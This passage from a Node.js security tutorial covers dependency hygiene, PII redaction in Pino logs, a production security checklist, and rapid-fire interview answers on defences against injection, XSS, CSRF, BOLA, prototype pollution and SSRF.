│ Before adding a dependency, ask: │
│ - Can I implement this in <50 lines? │
│ - Does this package have active maintenance? │
│ - How many transitive dependencies does it pull in? │
│ │
│ 4. PIN EXACT VERSIONS │
│ Use exact versions (no ^, no ~) for critical dependencies │
│ "express": "5.0.1" NOT "express": "^5.0.1" │
│ │
│ 5. AUTOMATED VULNERABILITY SCANNING │
│ GitHub Dependabot, Snyk, or Socket.dev for continuous monitoring │
│ Socket.dev specifically detects behavioral anomalies in packages │
│ │
│ 6. npm PROVENANCE │
│ Verify packages are built from their claimed source repository │
│ npm audit signatures │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
13. Secure Logging & PII Masking
Logs are essential for debugging and observability. But logs frequently contain Personally Identifiable Information (PII) or sensitive credentials that create a second breach vector:
- Passwords and PINs
- Credit card PANs (violating PCI-DSS)
- Social Security / National ID numbers
- Raw JWT Bearer tokens
- API keys and secrets
The Danger: Log Aggregator Leaks
Application logs are shipped to third-party services (Datadog, CloudWatch, Logstash, Elasticsearch). If raw passwords or credit card numbers are logged, every employee with read access to the logging dashboard can view plaintext customer secrets.
Implementing Log Redaction with Pino
// src/common/logger/logger.ts
import pino from 'pino';
export const logger = pino({
level: process.env.LOG_LEVEL || 'info',
// 🔒 Redact sensitive fields BEFORE they reach the output stream
redact: {
paths: [
'req.headers.authorization', // JWT Bearer tokens
'req.headers.cookie', // Session cookies
'password', // Top-level password fields
'confirmPassword',
'currentPassword',
'newPassword',
'creditCard', // Payment information
'cardNumber',
'cvv',
'ssn', // Government IDs
'*.password', // Nested one level deep
'*.*.password', // Nested two levels deep
'data.token', // API tokens in response data
'refreshToken',
'accessToken',
'req.body.password', // Password in request body
'req.body.creditCard',
],
censor: '[REDACTED]',
},
// Structured JSON logging for production
transport: process.env.NODE_ENV === 'development'
? { target: 'pino-pretty', options: { colorize: true } }
: undefined,
});
// Usage:
logger.info({ req, userId: user.id }, 'User login attempt');
// Output: { ..., req: { headers: { authorization: "[REDACTED]" } }, ... }
// The actual JWT is NEVER written to the log stream
[!IMPORTANT] PCI-DSS Compliance: If your application processes credit card payments, PCI-DSS legally requires that full card numbers never appear in application logs. Log redaction is not optional — it's a compliance requirement. Violations can result in fines up to $100,000 per month.
14. Production Security Architecture Checklist
┌────────────────────────────────────────────────────────────────────────────────────┐
│ PRODUCTION BACKEND SECURITY CHECKLIST │
│ (Production Deployment Review Criteria) │
├────────────────────────────────────────────────────────────────────────────────────┤
│ │
│ AUTHENTICATION & SESSION MANAGEMENT │
│ [ ] Passwords hashed with bcrypt (cost≥12) or Argon2id │
│ [ ] Timing-attack-safe comparison (bcrypt.compare / constant-time) │
│ [ ] Dummy hash on user-not-found to prevent email enumeration │
│ [ ] Session ID regenerated after authentication (prevent fixation) │
│ [ ] Refresh token rotation with reuse detection │
│ [ ] JWT secret is ≥256-bit cryptographically random │
│ [ ] JWT algorithms explicitly pinned (never trust token header) │
│ │
│ AUTHORIZATION │
│ [ ] Every resource query scoped to authenticated user ID (BOLA defense) │
│ [ ] Admin/privileged endpoints enforce role-based middleware (BFLA defense) │
│ [ ] 404 returned for unauthorized resource access (not 403) │
│ [ ] UUIDs used for resource IDs (not sequential integers) │
│ │
│ INPUT VALIDATION & INJECTION │
│ [ ] All endpoints enforce Zod DTO validation (blocks NoSQL injection) │
│ [ ] All SQL via Drizzle ORM or parameterized prepared statements │
│ [ ] Zero uses of child_process.exec() — only execFile()/spawn() │
│ [ ] User-supplied URLs validated via SSRF guard before server-side fetch │
│ │
│ TRANSPORT & HEADERS │
│ [ ] Helmet.js configured with strict CSP, HSTS, X-Frame-Options │
│ [ ] X-Powered-By header removed │
│ [ ] CORS whitelist limited to specific origins (no wildcard *) │
│ [ ] Cookies set with httpOnly, Secure, SameSite=Lax minimum │
│ │
│ RATE LIMITING │
│ [ ] Redis-backed distributed rate limiting on all endpoints │
│ [ ] Strict auth limiter (5 attempts / 15 min) with skipSuccessfulRequests │
│ [ ] Sensitive operations limiter (password reset, OTP) │
│ │
│ XSS & CSRF │
│ [ ] CSP blocks inline scripts and eval() │
│ [ ] User content HTML-escaped or sanitized with DOMPurify │
│ [ ] SameSite=Lax on all session/auth cookies (CSRF defense) │
│ [ ] No dangerouslySetInnerHTML with unsanitized user content │
│ │
│ LOGGING & SUPPLY CHAIN │
│ [ ] PII/credentials redacted at logger level (Pino redact) │
│ [ ] pnpm audit integrated into CI/CD pipeline │
│ [ ] pnpm install --frozen-lockfile enforced in CI │
│ [ ] __proto__ handling: Zod strips, or --disable-proto=throw │
│ │
└────────────────────────────────────────────────────────────────────────────────────┘
15. Interview Rapid-Fire: Security Questions & Answers
These are the exact types of questions asked in Node.js security interviews. Each answer is designed to demonstrate deep, production-battle-tested understanding.
Q1: "How do you prevent SQL injection?"
Answer: "We prevent SQL injection by ensuring that user-supplied data never enters the SQL parsing phase. All database queries go through Drizzle ORM, which uses parameterized queries at the wire protocol level. The PostgreSQL frontend/backend protocol separates the query template (Parse message) from the parameter values (Bind message). By the time parameter values arrive, the query's logical structure is already compiled — SQL syntax characters in the parameters are mathematically impossible to interpret as SQL instructions. For raw queries, we use postgres.js tagged template literals, which achieve the same parameterized execution. We have a CI lint rule that flags any usage of sql.raw() or string concatenation in query construction."
Q2: "A JWT is stateless — how do you revoke one before expiration?"
Answer: "We use a dual-token architecture. Access tokens are short-lived (15 minutes) and truly stateless — we don't attempt to revoke them individually. Refresh tokens are long-lived (7 days), stored in a Redis set, and checked on every refresh. For immediate revocation (user changes password, admin deactivates account), we invalidate all refresh tokens for that user in Redis. The worst-case exposure window is the remaining lifetime of the current access token — maximum 15 minutes. For critical systems where even 15 minutes is too long, we maintain a Redis blocklist of revoked JWT jti (token ID) claims, checked on every request via middleware. This adds a Redis lookup per request but provides instant revocation."
Q3: "What is the difference between XSS and CSRF?"
Answer: "They exploit different trust relationships. XSS exploits the trust a user's browser has in the website — the attacker injects malicious JavaScript that executes in the context of the trusted site, with full access to the DOM, cookies (unless httpOnly), and the same-origin permissions. CSRF exploits the trust a website has in the user's browser — the attacker tricks the browser into sending an authenticated request to a site where the user is already logged in, because the browser automatically attaches cookies to every request to that domain regardless of where the request originated. XSS is prevented by output encoding and CSP. CSRF is prevented by SameSite cookies and CSRF tokens."
Q4: "What is BOLA and how do you prevent it?"
Answer: "BOLA — Broken Object-Level Authorization — is the OWASP API Security #1 vulnerability. It occurs when an API endpoint verifies that the user is authenticated but fails to verify that the user is authorized to access the specific resource identified by the request parameter. An authenticated user modifies the resource ID in the URL to access another user's data. We prevent it by scoping every database query to the authenticated user's ID. Instead of findById(resourceId), we query with where(eq(resource.id, resourceId), eq(resource.userId, req.user.id)). We also return 404 instead of 403 to prevent resource ID enumeration, and use UUIDs instead of sequential integers for all resource identifiers."
Q5: "How does bcrypt prevent brute-force attacks?"
Answer: "bcrypt uses three mechanisms. First, it's an adaptive cost function — the cost parameter controls iterations exponentially (cost 12 = 2^12 = 4,096 Blowfish cipher rounds), making each hash take ~250ms instead of nanoseconds for SHA-256. This means brute-forcing even a dictionary of 10 million passwords takes 29 days per user instead of seconds. Second, it generates a unique random 128-bit salt per hash, which means identical passwords produce different hashes — defeating rainbow tables entirely. Third, the salt is embedded in the output string, so verification doesn't require storing it separately. We set cost=12 today and plan to increment it as hardware improves, since each increment doubles computation time."
Q6: "How would you detect if a refresh token was stolen?"
Answer: "We implement refresh token rotation. Every time a refresh token is used, it's invalidated and a new one is issued. If an attacker steals a refresh token and uses it first, the attacker gets a new token pair and the victim's original token is invalidated. When the victim tries to use their now-invalidated token, the server detects token reuse — this is an anomaly that indicates theft. At that point, we revoke ALL refresh tokens for that user (the entire token family), forcing re-authentication. The attacker's newly obtained token is also invalidated. We log this event as a security incident for monitoring."
Q7: "Explain the SameSite cookie attribute."
Answer: "SameSite controls whether the browser sends cookies on cross-origin requests. Strict means the cookie is never sent cross-origin — maximum CSRF protection but breaks flows like clicking links from emails (user appears logged out). Lax means the cookie is sent on top-level navigations (GET requests from link clicks) but not on cross-origin POST, PUT, DELETE, or fetch/XHR requests — this is the sweet spot for most applications. None means the cookie is always sent cross-origin but requires the Secure flag — used for third-party cookies like analytics. Since Chrome 80, Lax is the default when SameSite is not specified."
Q8: "What is prototype pollution and why is it dangerous?"
Answer: "Prototype pollution is a JavaScript-specific vulnerability where an attacker injects properties into Object.prototype through unsafe deep-merge operations on user-controlled JSON input. Since all JavaScript objects inherit from Object.prototype, a polluted property like isAdmin: true becomes visible on every object in the runtime — including internal framework objects. This can escalate to privilege escalation, authentication bypass, or even remote code execution when combined with template engines like EJS that access prototype chain properties during rendering. We defend against it by validating all input with Zod (which strips __proto__ and constructor), using Object.create(null) for dictionaries, preferring Map over plain objects, and running Node.js with --disable-proto=throw."
Q9: "What is SSRF and how did it cause the Capital One breach?"
Answer: "SSRF — Server-Side Request Forgery — occurs when an application makes HTTP requests to user-supplied URLs from the server side, allowing attackers to reach internal network services that are not exposed to the internet. In the Capital One breach, the attacker exploited a misconfigured WAF to make the server query the AWS EC2 Instance Metadata Service at 169.254.169.254, which returned temporary IAM credentials. The attacker used those credentials to access S3 buckets containing 106 million credit applications. We prevent SSRF by resolving user-supplied hostnames to IP addresses before making requests, and blocking all private, link-local, and cloud metadata IP ranges. We also enforce protocol whitelisting (only http: and https:) and implement IMDSv2 on AWS, which requires a PUT request with a hop-limited token."
Q10: "Walk me through your complete auth flow from login to token refresh."
Answer: "The flow has four phases. Login: The user submits email and password. We look up the user by email, run bcrypt.compare() against the stored hash (with a dummy hash if user doesn't exist for timing safety), and on success generate a 15-minute access token JWT and a 7-day refresh token. The access token is returned in the JSON response body (stored in memory by the SPA). The refresh token is set as an httpOnly, Secure, SameSite=Lax cookie and stored in Redis with the user's ID. API Requests: The SPA includes the access token in the Authorization: Bearer header. Our protect middleware verifies the JWT signature and expiration using our pinned algorithm. Token Refresh: When the access token expires, the SPA calls POST /refresh. The server reads the refresh token from the cookie, looks it up in Redis, validates it, deletes the old token, generates a new token pair, stores the new refresh token, and returns the new access token. Logout: We delete all refresh tokens for the user from Redis and clear the cookie. The access token naturally expires within 15 minutes."
You have now completed the entire Node.js backend engineering curriculum — from runtime internals and event loop phases to relational/NoSQL databases, authentication, background workers, real-time WebSockets, multi-core clustering, automated testing, and comprehensive OWASP Top 10 security hardening!